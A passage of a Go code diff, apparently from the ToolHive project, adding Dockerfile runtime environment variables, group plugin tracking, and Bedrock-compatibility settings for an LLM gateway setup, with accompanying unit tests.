+ t.Parallel() + + tests := []struct { + name string + transportType TransportType + runtimeConfig *RuntimeConfig + wantEnvLine string // ENV line that must appear AFTER the second FROM, and nowhere before it + }{ + { + name: "NPX runtime stage sets RuntimeEnv", + transportType: TransportTypeNPX, + runtimeConfig: &RuntimeConfig{ + BuilderImage: "node:24-alpine", + RuntimeEnv: map[string]string{ + "NPX_RUNTIME_FLAG": "enabled", + }, + }, + wantEnvLine: `ENV NPX_RUNTIME_FLAG="enabled"`, + }, + { + name: "UVX runtime stage sets RuntimeEnv", + transportType: TransportTypeUVX, + runtimeConfig: &RuntimeConfig{ + BuilderImage: "python:3.14-slim", + RuntimeEnv: map[string]string{ + "PYTHON_KEYRING_BACKEND": "keyrings.alt.file.PlaintextKeyring", + }, + }, + wantEnvLine: `ENV PYTHON_KEYRING_BACKEND="keyrings.alt.file.PlaintextKeyring"`, + }, + { + name: "GO runtime stage sets RuntimeEnv", + transportType: TransportTypeGO, + runtimeConfig: &RuntimeConfig{ + BuilderImage: "golang:1.26-alpine", + RuntimeEnv: map[string]string{ + "GO_RUNTIME_FLAG": "enabled", + }, + }, + wantEnvLine: `ENV GO_RUNTIME_FLAG="enabled"`, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + data := TemplateData{ + MCPPackage: "test-package", + RuntimeConfig: tt.runtimeConfig, + } + + result, err := GetDockerfileTemplate(tt.transportType, data) + if err != nil { + t.Fatalf("GetDockerfileTemplate() error = %v", err) + } + + // Find the runtime stage (second FROM) and check that RuntimeEnv + // appears there, and only there - not in the builder stage. + parts := strings.SplitN(result, "\nFROM ", 2) + if len(parts) < 2 { + t.Fatal("Dockerfile does not contain a second FROM (runtime stage)") + } + builderStage := parts[0] + runtimeStage := parts[1] + + if !strings.Contains(runtimeStage, tt.wantEnvLine) { + t.Errorf("runtime stage does not contain %q.\nRuntime stage:\n%s", tt.wantEnvLine, runtimeStage) + } + if strings.Contains(builderStage, tt.wantEnvLine) { + t.Errorf("builder stage unexpectedly contains %q.\nBuilder stage:\n%s", tt.wantEnvLine, builderStage) + } + }) + } +} + func TestEmptyAdditionalPackagesDoesNotBreakBuild(t *testing.T) { t.Parallel() diff --git a/pkg/container/templates/uvx.tmpl b/pkg/container/templates/uvx.tmpl index 620e87411f..0a290ffd46 100644 --- a/pkg/container/templates/uvx.tmpl +++ b/pkg/container/templates/uvx.tmpl @@ -85,6 +85,11 @@ RUN package="{{.MCPPackage}}"; \ # Final stage - runtime image with pre-installed packages FROM {{.RuntimeConfig.BuilderImage}} +{{if .RuntimeConfig.RuntimeEnv}} +# Custom runtime environment variables +{{range $key, $value := .RuntimeConfig.RuntimeEnv}}ENV {{$key}}="{{$value}}" +{{end}} +{{end}} {{if .CACertContent}} # Add custom CA certificate for runtime COPY ca-cert.crt /tmp/custom-ca.crt diff --git a/pkg/groups/group.go b/pkg/groups/group.go index 86b9a5da03..8289789b49 100644 --- a/pkg/groups/group.go +++ b/pkg/groups/group.go @@ -19,6 +19,7 @@ type Group struct { Name string `json:"name"` RegisteredClients []string `json:"registered_clients"` Skills []string `json:"skills,omitempty"` + Plugins []string `json:"plugins,omitempty"` } // WriteJSON serializes the Group to JSON and writes it to the provided writer diff --git a/pkg/groups/plugins.go b/pkg/groups/plugins.go new file mode 100644 index 0000000000..0b655b801b --- /dev/null +++ b/pkg/groups/plugins.go @@ -0,0 +1,59 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package groups + +import ( + "context" + "fmt" + "slices" +) + +// AddPluginToGroup adds pluginName to the Plugins slice of the named group. +// Groups that do not exist return an error. Duplicate plugin names are skipped. +// Empty groupName is a no-op. +func AddPluginToGroup(ctx context.Context, mgr Manager, groupName string, pluginName string) error { + if groupName == "" { + return nil + } + group, err := mgr.Get(ctx, groupName) + if err != nil { + return fmt.Errorf("getting group %q: %w", groupName, err) + } + + if slices.Contains(group.Plugins, pluginName) { + return nil + } + + group.Plugins = append(group.Plugins, pluginName) + if err := mgr.Update(ctx, group); err != nil { + return fmt.Errorf("updating group %q: %w", groupName, err) + } + return nil +} + +// RemovePluginFromAllGroups removes pluginName from every group that references it. +// It is a no-op when the plugin is not found in any group. +func RemovePluginFromAllGroups(ctx context.Context, mgr Manager, pluginName string) error { + allGroups, err := mgr.List(ctx) + if err != nil { + return fmt.Errorf("listing groups: %w", err) + } + + for _, group := range allGroups { + modified := false + for i, p := range group.Plugins { + if p == pluginName { + group.Plugins = append(group.Plugins[:i], group.Plugins[i+1:]...) + modified = true + break + } + } + if modified { + if err := mgr.Update(ctx, group); err != nil { + return fmt.Errorf("updating group %q: %w", group.Name, err) + } + } + } + return nil +} diff --git a/pkg/groups/plugins_test.go b/pkg/groups/plugins_test.go new file mode 100644 index 0000000000..206ec29da1 --- /dev/null +++ b/pkg/groups/plugins_test.go @@ -0,0 +1,190 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package groups_test + +import ( + "context" + "errors" + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + "go.uber.org/mock/gomock" + + . "github.com/stacklok/toolhive/pkg/groups" + groupmocks "github.com/stacklok/toolhive/pkg/groups/mocks" +) + +func TestAddPluginToGroups(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + groupName string + pluginName string + setupMock func(*groupmocks.MockManager) + wantErr string + }{ + { + name: "adds plugin to one group", + groupName: "mygroup", + pluginName: "my-plugin", + setupMock: func(m *groupmocks.MockManager) { + m.EXPECT().Get(gomock.Any(), "mygroup"). + Return(&Group{Name: "mygroup", Plugins: []string{}}, nil) + m.EXPECT().Update(gomock.Any(), &Group{Name: "mygroup", Plugins: []string{"my-plugin"}}). + Return(nil) + }, + }, + { + name: "skips duplicate plugin", + groupName: "mygroup", + pluginName: "my-plugin", + setupMock: func(m *groupmocks.MockManager) { + // Already has the plugin — no Update call expected. + m.EXPECT().Get(gomock.Any(), "mygroup"). + Return(&Group{Name: "mygroup", Plugins: []string{"my-plugin"}}, nil) + }, + }, + { + name: "no-op when group names is empty", + groupName: "", + pluginName: "my-plugin", + setupMock: func(_ *groupmocks.MockManager) {}, + }, + { + name: "returns error when group not found", + groupName: "nonexistent", + pluginName: "my-plugin", + setupMock: func(m *groupmocks.MockManager) { + m.EXPECT().Get(gomock.Any(), "nonexistent"). + Return(nil, errors.New("group not found")) + }, + wantErr: "getting group", + }, + { + name: "returns error when Update fails", + groupName: "mygroup", + pluginName: "my-plugin", + setupMock: func(m *groupmocks.MockManager) { + m.EXPECT().Get(gomock.Any(), "mygroup"). + Return(&Group{Name: "mygroup", Plugins: []string{}}, nil) + m.EXPECT().Update(gomock.Any(), gomock.Any()). + Return(errors.New("disk full")) + }, + wantErr: "updating group", + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + ctrl := gomock.NewController(t) + mgr := groupmocks.NewMockManager(ctrl) + tt.setupMock(mgr) + + err := AddPluginToGroup(context.Background(), mgr, tt.groupName, tt.pluginName) + + if tt.wantErr != "" { + require.Error(t, err) + assert.Contains(t, err.Error(), tt.wantErr) + } else { + require.NoError(t, err) + } + }) + } +} + +func TestRemovePluginFromAllGroups(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + pluginName string + setupMock func(*groupmocks.MockManager) + wantErr string + }{ + { + name: "removes plugin from matching group", + pluginName: "my-plugin", + setupMock: func(m *groupmocks.MockManager) { + m.EXPECT().List(gomock.Any()).Return([]*Group{ + {Name: "mygroup", Plugins: []string{"my-plugin", "other"}}, + }, nil) + m.EXPECT().Update(gomock.Any(), &Group{Name: "mygroup", Plugins: []string{"other"}}). + Return(nil) + }, + }, + { + name: "no-op when plugin is not in any group", + pluginName: "absent-plugin", + setupMock: func(m *groupmocks.MockManager) { + m.EXPECT().List(gomock.Any()).Return([]*Group{ + {Name: "mygroup", Plugins: []string{"some-other-plugin"}}, + }, nil) + // No Update call expected. + }, + }, + { + name: "no-op when no groups exist", + pluginName: "my-plugin", + setupMock: func(m *groupmocks.MockManager) { + m.EXPECT().List(gomock.Any()).Return([]*Group{}, nil) + }, + }, + { + name: "removes plugin from multiple groups", + pluginName: "shared", + setupMock: func(m *groupmocks.MockManager) { + m.EXPECT().List(gomock.Any()).Return([]*Group{ + {Name: "group-a", Plugins: []string{"shared"}}, + {Name: "group-b", Plugins: []string{"shared", "other"}}, + }, nil) + m.EXPECT().Update(gomock.Any(), &Group{Name: "group-a", Plugins: []string{}}). + Return(nil) + m.EXPECT().Update(gomock.Any(), &Group{Name: "group-b", Plugins: []string{"other"}}). + Return(nil) + }, + }, + { + name: "returns error when List fails", + pluginName: "my-plugin", + setupMock: func(m *groupmocks.MockManager) { + m.EXPECT().List(gomock.Any()).Return(nil, errors.New("store error")) + }, + wantErr: "listing groups", + }, + { + name: "returns error when Update fails", + pluginName: "my-plugin", + setupMock: func(m *groupmocks.MockManager) { + m.EXPECT().List(gomock.Any()).Return([]*Group{ + {Name: "mygroup", Plugins: []string{"my-plugin"}}, + }, nil) + m.EXPECT().Update(gomock.Any(), gomock.Any()).Return(errors.New("write error")) + }, + wantErr: "updating group", + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + ctrl := gomock.NewController(t) + mgr := groupmocks.NewMockManager(ctrl) + tt.setupMock(mgr) + + err := RemovePluginFromAllGroups(context.Background(), mgr, tt.pluginName) + + if tt.wantErr != "" { + require.Error(t, err) + assert.Contains(t, err.Error(), tt.wantErr) + } else { + require.NoError(t, err) + } + }) + } +} diff --git a/pkg/json/any.go b/pkg/json/any.go index 47a4dbb49e..da21aa6496 100644 --- a/pkg/json/any.go +++ b/pkg/json/any.go @@ -131,6 +131,7 @@ func (d *Data[T]) DeepCopy() *Data[T] { // Any is a type alias for Data[any], storing arbitrary JSON values. // This is the most flexible type, suitable when the JSON structure is unknown. // +// +gendoc // +kubebuilder:pruning:PreserveUnknownFields // +kubebuilder:validation:Type=object type Any = Data[any] @@ -138,6 +139,7 @@ type Any = Data[any] // Map is a type alias for Data[map[string]any], storing JSON objects. // Use this when you know the data will always be a JSON object (not array, string, etc.). // +// +gendoc // +kubebuilder:pruning:PreserveUnknownFields // +kubebuilder:validation:Type=object type Map = Data[map[string]any] diff --git a/pkg/json/doc.go b/pkg/json/doc.go new file mode 100644 index 0000000000..59611ad019 --- /dev/null +++ b/pkg/json/doc.go @@ -0,0 +1,8 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +// Package json provides JSON-related utilities for ToolHive. +// +// +groupName=toolhive.stacklok.dev +// +versionName=json +package json diff --git a/pkg/llm/config.go b/pkg/llm/config.go index 9c2a0fb810..18b789466c 100644 --- a/pkg/llm/config.go +++ b/pkg/llm/config.go @@ -25,13 +25,36 @@ type OIDCConfig = pkgoidc.ClientConfig // Config holds all LLM gateway settings persisted under the llm: key in // ToolHive's config.yaml. type Config struct { - GatewayURL string `yaml:"gateway_url,omitempty" json:"gateway_url,omitempty"` - TLSSkipVerify bool `yaml:"tls_skip_verify,omitempty" json:"tls_skip_verify,omitempty"` - OIDC OIDCConfig `yaml:"oidc,omitempty" json:"oidc,omitempty"` - Proxy ProxyConfig `yaml:"proxy,omitempty" json:"proxy,omitempty"` + GatewayURL string `yaml:"gateway_url,omitempty" json:"gateway_url,omitempty"` + TLSSkipVerify bool `yaml:"tls_skip_verify,omitempty" json:"tls_skip_verify,omitempty"` + OIDC OIDCConfig `yaml:"oidc,omitempty" json:"oidc,omitempty"` + Proxy ProxyConfig `yaml:"proxy,omitempty" json:"proxy,omitempty"` + Bedrock BedrockConfig `yaml:"bedrock,omitempty" json:"bedrock,omitempty"` + // Models is the persisted, single source of truth for the model IDs applied + // during setup. It feeds two consumers: credential-helper clients (Claude + // Desktop) write it verbatim as inferenceModels, and — when Bedrock compat is + // on — each entry is also mapped to a Claude Code tier (see BedrockConfig). + // Persisting it here (rather than passing a transient flag value) keeps both + // consumers consistent on a later plain "thv llm setup". + Models []string `yaml:"models,omitempty" json:"models,omitempty"` ConfiguredTools []ToolConfig `yaml:"configured_tools,omitempty" json:"configured_tools,omitempty"` } +// BedrockConfig holds settings for configuring Claude Code to reach an LLM +// gateway that forwards to AWS Bedrock. It is persisted so that a later plain +// "thv llm setup" re-applies these settings rather than silently clearing them. +type BedrockConfig struct { + // Compat, when true, writes CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS=1 and the + // per-tier Bedrock model IDs into Claude Code's settings.json. Bedrock rejects + // Claude Code's experimental anthropic-beta headers, so this is required for a + // Bedrock-backed gateway. + Compat bool `yaml:"compat,omitempty" json:"compat,omitempty"` + // Enable1M appends the "[1m]" suffix to the opus and sonnet model IDs to opt + // into the 1M-token context window on Bedrock (never haiku, which is 200K). + // Off by default: 1M-on-Bedrock is a version-dependent Claude Code behavior. + Enable1M bool `yaml:"enable_1m,omitempty" json:"enable_1m,omitempty"` +} + // ProxyConfig holds configuration for the localhost reverse proxy. type ProxyConfig struct { ListenPort int `yaml:"listen_port,omitempty" json:"listen_port,omitempty"` @@ -42,7 +65,8 @@ type ProxyConfig struct { type ToolConfig struct { // Tool is the canonical tool identifier (e.g. "claude-code", "cursor"). Tool string `yaml:"tool" json:"tool"` - // Mode is the authentication mode: "direct" or "proxy". + // Mode is the authentication mode: one of the llmgateway.Mode* values + // ("direct", "proxy", "credential-helper", "codex-auth"). Mode string `yaml:"mode" json:"mode"` // ConfigPath is the absolute path to the tool's config file that was patched. ConfigPath string `yaml:"config_path" json:"config_path"` diff --git a/pkg/llm/manage.go b/pkg/llm/manage.go index 9dd6b03949..eef74295cf 100644 --- a/pkg/llm/manage.go +++ b/pkg/llm/manage.go @@ -38,6 +38,15 @@ func (c *Config) SetFields(opts SetOptions) error { if opts.TLSSkipVerify != nil { c.TLSSkipVerify = *opts.TLSSkipVerify } + if opts.BedrockCompat != nil { + c.Bedrock.Compat = *opts.BedrockCompat + } + if opts.Enable1M != nil { + c.Bedrock.Enable1M = *opts.Enable1M + } + if opts.Models != nil { + c.Models = opts.Models + } if !c.IsConfigured() { return c.ValidatePartial() @@ -57,6 +66,13 @@ type SetOptions struct { ProxyPort int CallbackPort int TLSSkipVerify *bool // nil = not provided; &false = explicitly disable + // BedrockCompat and Enable1M use pointers so false can be distinguished from + // "not provided" (enabling explicit clear via config set). See BedrockConfig. + BedrockCompat *bool + Enable1M *bool + // Models sets the persisted model IDs (Config.Models). nil = not provided + // (leave existing config unchanged); an empty non-nil slice clears them. + Models []string } // DeleteCachedTokens removes all cached OIDC tokens stored under the LLM @@ -109,6 +125,13 @@ func (c *Config) Show(w io.Writer) error { if c.TLSSkipVerify { writef("TLS Skip Verify: true (WARNING: certificate verification disabled)\n") } + if len(c.Models) > 0 { + writef("Models: %v\n", c.Models) + } + if c.Bedrock.Compat { + writef("Bedrock compat: true (CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS=1)\n") + writef(" 1M context: %t\n", c.Bedrock.Enable1M) + } if len(c.ConfiguredTools) > 0 { writef("Configured tools:\n") for _, t := range c.ConfiguredTools { diff --git a/pkg/llm/manage_test.go b/pkg/llm/manage_test.go index 9235317116..b253f32b18 100644 --- a/pkg/llm/manage_test.go +++ b/pkg/llm/manage_test.go @@ -10,6 +10,8 @@ import ( "strings" "testing" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" "go.uber.org/mock/gomock" "github.com/stacklok/toolhive/pkg/secrets" @@ -160,6 +162,52 @@ func TestConfig_SetFields(t *testing.T) { func boolPtr(b bool) *bool { return &b } +// ── SetFields (Bedrock) ────────────────────────────────────────────────────── + +func TestConfig_SetFields_Bedrock(t *testing.T) { + t.Parallel() + + base := func() Config { + return Config{ + GatewayURL: "https://gw.example.com", + OIDC: OIDCConfig{Issuer: "https://auth.example.com", ClientID: "c"}, + } + } + + t.Run("compat, enable1M, and models are set and persisted", func(t *testing.T) { + t.Parallel() + cfg := base() + require.NoError(t, cfg.SetFields(SetOptions{ + BedrockCompat: boolPtr(true), + Enable1M: boolPtr(true), + Models: []string{"us.anthropic.claude-opus-x"}, + })) + assert.True(t, cfg.Bedrock.Compat) + assert.True(t, cfg.Bedrock.Enable1M) + // Models is persisted at the top level (single source of truth), not under Bedrock. + assert.Equal(t, []string{"us.anthropic.claude-opus-x"}, cfg.Models) + }) + + t.Run("nil pointers leave existing values unchanged", func(t *testing.T) { + t.Parallel() + cfg := base() + cfg.Bedrock = BedrockConfig{Compat: true, Enable1M: true} + cfg.Models = []string{"m"} + require.NoError(t, cfg.SetFields(SetOptions{})) + assert.True(t, cfg.Bedrock.Compat) + assert.True(t, cfg.Bedrock.Enable1M) + assert.Equal(t, []string{"m"}, cfg.Models) + }) + + t.Run("false pointer clears compat", func(t *testing.T) { + t.Parallel() + cfg := base() + cfg.Bedrock.Compat = true + require.NoError(t, cfg.SetFields(SetOptions{BedrockCompat: boolPtr(false)})) + assert.False(t, cfg.Bedrock.Compat) + }) +} + // ── DeleteCachedTokens ─────────────────────────────────────────────────────── func TestDeleteCachedTokens(t *testing.T) { diff --git a/pkg/llm/setup.go b/pkg/llm/setup.go index faef0dc42c..d4516e29b3 100644 --- a/pkg/llm/setup.go +++ b/pkg/llm/setup.go @@ -31,6 +31,9 @@ type GatewayManager interface { ConfigureLLMGateway(clientType string, cfg llmgateway.ApplyConfig) (string, error) // LLMGatewayModeFor returns "direct", "proxy", or "" for the given client. LLMGatewayModeFor(clientType string) string + // IsManaged reports whether a managed-preferences profile overrides the + // client's local config (so the config setup writes would be ignored). + IsManaged(clientType string) bool // ConfigureEnvFile writes .env file entries for the client and returns the // env file path. Returns ("", nil) when the client has no env-file entries. ConfigureEnvFile(clientType string, cfg llmgateway.ApplyConfig) (string, error) @@ -84,11 +87,6 @@ func Setup( return fmt.Errorf("LLM gateway is not configured — run \"thv llm config set\" first") } - tokenHelperCommand, err := buildTokenHelperCommand() - if err != nil { - return err - } - proxyBaseURL := fmt.Sprintf("http://localhost:%d/v1", llmCfg.EffectiveProxyPort()) // Detect tools before login so we skip the interactive browser flow when @@ -104,6 +102,21 @@ func Setup( return nil } + // Only build the shell-string token helper if a detected tool actually + // consumes it — its shell-safety check on the thv executable path would + // otherwise fail setup for e.g. a Codex-only run, which never uses it. + var tokenHelperCommand string + if tokenHelperCommandNeeded(gm, detected) { + tokenHelperCommand, err = buildTokenHelperCommand() + if err != nil { + return err + } + } + tokenHelperPath, tokenHelperArgs, err := buildTokenHelperArgv() + if err != nil { + return err + } + // In lazy mode the interactive login is deferred until a configured tool // first accesses the gateway (via "thv llm token" or the proxy). Everything // below — tool detection, file patching, config persistence — is @@ -131,13 +144,22 @@ func Setup( configured, err := configureDetectedTools( out, errOut, gm, detected, llmCfg.GatewayURL, proxyBaseURL, tokenHelperCommand, - llmCfg.TLSSkipVerify, anthropicPrefix, + tokenHelperPath, tokenHelperArgs, llmCfg.TLSSkipVerify, anthropicPrefix, llmCfg.Models, llmCfg.Bedrock, ) if err != nil { return err } + // Warn about bedrock flags the user passed THIS run that had no effect: + // --bedrock-compat when Claude Code was not configured, and --enable-1m when + // bedrock-compat is off. Keyed off inlineOpts (not the merged config) because + // bedrock-compat is persisted — gating on llmCfg.Bedrock would nag on every + // later setup that omits claude-code. llmCfg.Bedrock.Compat is the effective + // (persisted + inline) compat state used for the --enable-1m check. + warnBedrockNoEffect(errOut, inlineOpts, llmCfg.Bedrock.Compat, configured) + warnTLSSkipVerify(errOut, llmCfg.TLSSkipVerify, configured) + warnCredentialHelperTools(out, errOut, gm, configured) if err := provider.UpdateLLMConfig(func(c *Config) error { // SetFields applies inline opts to the on-disk config (preserving any @@ -294,13 +316,13 @@ func warnTLSSkipVerify(errOut io.Writer, skip bool, configured []ToolConfig) { } for _, tc := range configured { switch tc.Mode { - case "direct": + case llmgateway.ModeDirect: _, _ = fmt.Fprintf(errOut, "Warning: %s uses direct mode — NODE_TLS_REJECT_UNAUTHORIZED=0 has been written to its "+ "settings, disabling TLS certificate verification for ALL of %s's outbound connections "+ "(LLM provider APIs, MCP registry, etc.), not just the LLM gateway. "+ "Use only in isolated local environments.\n", tc.Tool, tc.Tool) - case "proxy": + case llmgateway.ModeProxy: if tc.Tool == "gemini-cli" { _, _ = fmt.Fprintf(errOut, "Note: --tls-skip-verify is not supported for Gemini CLI "+ @@ -311,6 +333,11 @@ func warnTLSSkipVerify(errOut io.Writer, skip bool, configured []ToolConfig) { "Warning: %s uses proxy mode — TLS certificate verification is disabled for the "+ "proxy's upstream gateway connection only. Use only in isolated local environments.\n", tc.Tool) } + case llmgateway.ModeCodexAuth: + _, _ = fmt.Fprintf(errOut, + "Warning: --tls-skip-verify was NOT applied to %s — its config.toml has no "+ + "TLS-skip option. Codex will fail against a self-signed gateway until you "+ + "trust the certificate in the system store.\n", tc.Tool) } } } @@ -330,6 +357,102 @@ func filterDetectedClients(detected []string, targetClient string) ([]string, er return nil, fmt.Errorf("client %q is not installed or not detected", targetClient) } +// claudeCodeClient is the canonical client identifier for Claude Code. Declared +// here as a string literal because pkg/llm does not import pkg/client (which +// owns the ClientApp constant) to avoid an import cycle. +const claudeCodeClient = "claude-code" + +// Default Bedrock inference-profile model IDs written for Claude Code in +// bedrock-compat mode when --models does not override a tier. These track the +// current generation and are expected to be bumped periodically; users override +// per tier via --models. +const ( + defaultBedrockHaikuModel = "us.anthropic.claude-haiku-4-5-20251001-v1:0" + defaultBedrockOpusModel = "us.anthropic.claude-opus-4-8" + defaultBedrockSonnetModel = "us.anthropic.claude-sonnet-5" +) + +// oneMSuffix is the model-ID suffix that opts Bedrock opus/sonnet into the +// 1M-token context window. +const oneMSuffix = "[1m]" + +// resolveBedrockModels maps optional override model IDs onto Claude Code's three +// tiers, starting from the built-in defaults. Each override is assigned to a tier +// by matching "haiku", "opus", or "sonnet" (case-insensitive) as a substring of +// the ID. When enable1M is true, the "[1m]" suffix is appended to the opus and +// sonnet IDs (never haiku, which has a 200K context window) to opt into the 1M +// context window on Bedrock; an override that already carries the suffix is left +// as-is so it is not doubled. +// +// warnings collects the human-readable diagnostics for overrides that had no +// (or a surprising) effect — an ID matching no tier, and a second ID clobbering +// a tier an earlier ID already set — so the caller can surface them. +func resolveBedrockModels(models []string, enable1M bool) (haiku, opus, sonnet string, warnings []string) { + haiku, opus, sonnet = defaultBedrockHaikuModel, defaultBedrockOpusModel, defaultBedrockSonnetModel + // Track which tiers an override has already claimed so a second override for + // the same tier is reported rather than silently winning last-write. + assigned := make(map[string]string, 3) + assign := func(tier string, dst *string, id string) { + if prev, ok := assigned[tier]; ok { + warnings = append(warnings, fmt.Sprintf( + "--models entry %q overrides %q for the %s tier; only the last is used", id, prev, tier)) + } + assigned[tier] = id + *dst = id + } + for _, m := range models { + switch lower := strings.ToLower(m); { + case strings.Contains(lower, "haiku"): + assign("haiku", &haiku, m) + case strings.Contains(lower, "opus"): + assign("opus", &opus, m) + case strings.Contains(lower, "sonnet"): + assign("sonnet", &sonnet, m) + default: + warnings = append(warnings, fmt.Sprintf( + "--models entry %q did not match a tier (expected haiku/opus/sonnet in the ID); ignored", m)) + } + } + if enable1M { + opus = withOneMSuffix(opus) + sonnet = withOneMSuffix(sonnet) + } + return haiku, opus, sonnet, warnings +} + +// withOneMSuffix appends the "[1m]" suffix unless id already ends with it, so a +// user-supplied ID that already carries the suffix is not doubled into "[1m][1m]". +func withOneMSuffix(id string) string { + if strings.HasSuffix(id, oneMSuffix) { + return id + } + return id + oneMSuffix +} + +// warnBedrockNoEffect warns about Bedrock flags the user passed on THIS run that +// had no effect. It keys off opts (the inline flags for this invocation), not the +// persisted config, because bedrock-compat is sticky: warning off the merged state +// would nag on every later setup that omits claude-code even though the flag was +// not passed. effectiveCompat is the merged (persisted + inline) compat state, used +// to decide whether an inline --enable-1m is inert. +// +// Two cases: +// - --bedrock-compat passed this run but Claude Code was not among the configured +// tools (the keys only attach to Claude Code), and +// - --enable-1m passed this run while compat is off (the 1M suffix rides the +// Bedrock model-ID path, so it is inert without compat) — otherwise a silent +// no-op. +func warnBedrockNoEffect(errOut io.Writer, opts SetOptions, effectiveCompat bool, configured []ToolConfig) { + if opts.BedrockCompat != nil && *opts.BedrockCompat && !isTarget(configured, claudeCodeClient) { + _, _ = fmt.Fprintln(errOut, + "Warning: --bedrock-compat was set but Claude Code was not configured; the flag had no effect.") + } + if opts.Enable1M != nil && *opts.Enable1M && !effectiveCompat { + _, _ = fmt.Fprintln(errOut, + "Warning: --enable-1m has no effect without --bedrock-compat; it is ignored.") + } +} + // configureDetectedTools patches each detected tool's config file and returns // the list of successfully configured tools. An error is returned only when no // tool was configured successfully. @@ -338,17 +461,22 @@ func configureDetectedTools( gm GatewayManager, detected []string, gatewayURL, proxyBaseURL, tokenHelperCommand string, + tokenHelperPath string, tokenHelperArgs []string, tlsSkipVerify bool, anthropicPathPrefix string, + models []string, + bedrock BedrockConfig, ) ([]ToolConfig, error) { var configured []ToolConfig for _, clientType := range detected { mode := gm.LLMGatewayModeFor(clientType) - // Only apply the Anthropic path prefix for direct-mode tools. - // Proxy-mode tools (Cursor, VS Code, Xcode) do not use ANTHROPIC_BASE_URL. + // Apply the Anthropic path prefix for tools that talk the Anthropic API + // directly — direct-mode (ANTHROPIC_BASE_URL) and credential-helper mode + // (Claude Desktop's inferenceGatewayBaseUrl). Proxy-mode tools (Cursor, + // VS Code, Xcode) do not use it. anthropicBaseURL := "" - if mode == "direct" && anthropicPathPrefix != "" { + if usesAnthropicBaseURL(mode) && anthropicPathPrefix != "" { // Trim any leading slash: url.JoinPath docs say elements should not // start with "/", and path.Join already handles the join correctly. if joined, err := url.JoinPath(gatewayURL, strings.TrimLeft(anthropicPathPrefix, "/")); err == nil { @@ -361,8 +489,27 @@ func configureDetectedTools( AnthropicBaseURL: anthropicBaseURL, ProxyBaseURL: proxyBaseURL, TokenHelperCommand: tokenHelperCommand, + TokenHelperPath: tokenHelperPath, + TokenHelperArgs: tokenHelperArgs, TLSSkipVerify: tlsSkipVerify, + Models: models, + } + + // Bedrock-compat applies only to Claude Code: it disables the experimental + // anthropic-beta headers Bedrock rejects and pins per-tier Bedrock model + // IDs. Resolve defaults, tier mapping, and the optional [1m] suffix here so + // pkg/client only writes the resolved values. + if bedrock.Compat && clientType == claudeCodeClient { + haiku, opus, sonnet, warnings := resolveBedrockModels(models, bedrock.Enable1M) + applyCfg.BedrockCompat = true + applyCfg.BedrockHaikuModel = haiku + applyCfg.BedrockOpusModel = opus + applyCfg.BedrockSonnetModel = sonnet + for _, w := range warnings { + _, _ = fmt.Fprintf(errOut, "Warning: %s\n", w) + } } + configPath, err := gm.ConfigureLLMGateway(clientType, applyCfg) if err != nil { _, _ = fmt.Fprintf(errOut, "Warning: failed to configure %s: %v\n", clientType, err) @@ -455,6 +602,20 @@ func probeAnthropicPrefix(ctx context.Context, gatewayURL string, tlsSkipVerify return "" } +// tokenHelperCommandNeeded reports whether any detected client's mode consumes +// the shell-string token helper (TokenHelperCommand) — direct-mode's +// apiKeyHelper-style JSON-Pointer clients and Claude Desktop's credential +// helper. Proxy-mode tools and Codex (argv-based auth) never use it. +func tokenHelperCommandNeeded(gm GatewayManager, detected []string) bool { + for _, clientType := range detected { + switch gm.LLMGatewayModeFor(clientType) { + case llmgateway.ModeDirect, llmgateway.ModeCredentialHelper: + return true + } + } + return false +} + // buildTokenHelperCommand returns the shell command string used as the // token-helper for direct-mode tools. It rejects executable paths that contain // shell metacharacters, since the command is written verbatim into long-lived @@ -482,18 +643,60 @@ func buildTokenHelperCommand() (string, error) { return fmt.Sprintf(`"%s" llm token`, self), nil } -// hasDirectModeClient reports whether any client in the detected list uses -// direct mode. Used to skip the Anthropic-prefix probe when no direct-mode -// tools are present (proxy-mode tools ignore ANTHROPIC_BASE_URL entirely). +// buildTokenHelperArgv returns the argv-form of the token helper, for config +// formats that invoke an executable directly (no shell) — e.g. Codex's +// [model_providers..auth] command/args table. Since args are passed as a +// TOML array rather than interpolated into a shell string, no shell-metacharacter +// validation is needed. --skip-browser is always included since Codex has no +// interactive-context signal like Claude Desktop's credential-helper shim. +func buildTokenHelperArgv() (string, []string, error) { + self, err := os.Executable() + if err != nil { + return "", nil, fmt.Errorf("resolving thv executable path: %w", err) + } + return self, []string{"llm", "token", "--skip-browser"}, nil +} + +// usesAnthropicBaseURL reports whether a client mode consumes the Anthropic base +// URL (gateway + /anthropic prefix): direct mode via ANTHROPIC_BASE_URL, and +// credential-helper mode (Claude Desktop) via inferenceGatewayBaseUrl. +func usesAnthropicBaseURL(mode string) bool { + return mode == llmgateway.ModeDirect || mode == llmgateway.ModeCredentialHelper +} + +// hasDirectModeClient reports whether any client in the detected list uses a +// mode that needs the Anthropic base URL. Used to skip the Anthropic-prefix +// probe when no such tools are present (proxy-mode tools ignore it entirely). func hasDirectModeClient(gm GatewayManager, detected []string) bool { for _, clientType := range detected { - if gm.LLMGatewayModeFor(clientType) == "direct" { + if usesAnthropicBaseURL(gm.LLMGatewayModeFor(clientType)) { return true } } return false } +// warnCredentialHelperTools prints the follow-up notes credential-helper clients +// (Claude Desktop) need: they read config only at launch, so the user must fully +// quit and relaunch; and a managed-preferences profile, if present, overrides +// the local config setup just wrote. +func warnCredentialHelperTools(out, errOut io.Writer, gm GatewayManager, configured []ToolConfig) { + for _, tc := range configured { + if tc.Mode != llmgateway.ModeCredentialHelper { + continue + } + _, _ = fmt.Fprintf(out, + "%s reads its configuration only at launch — fully quit and reopen it "+ + "for the gateway change to take effect.\n", tc.Tool) + if gm.IsManaged(tc.Tool) { + _, _ = 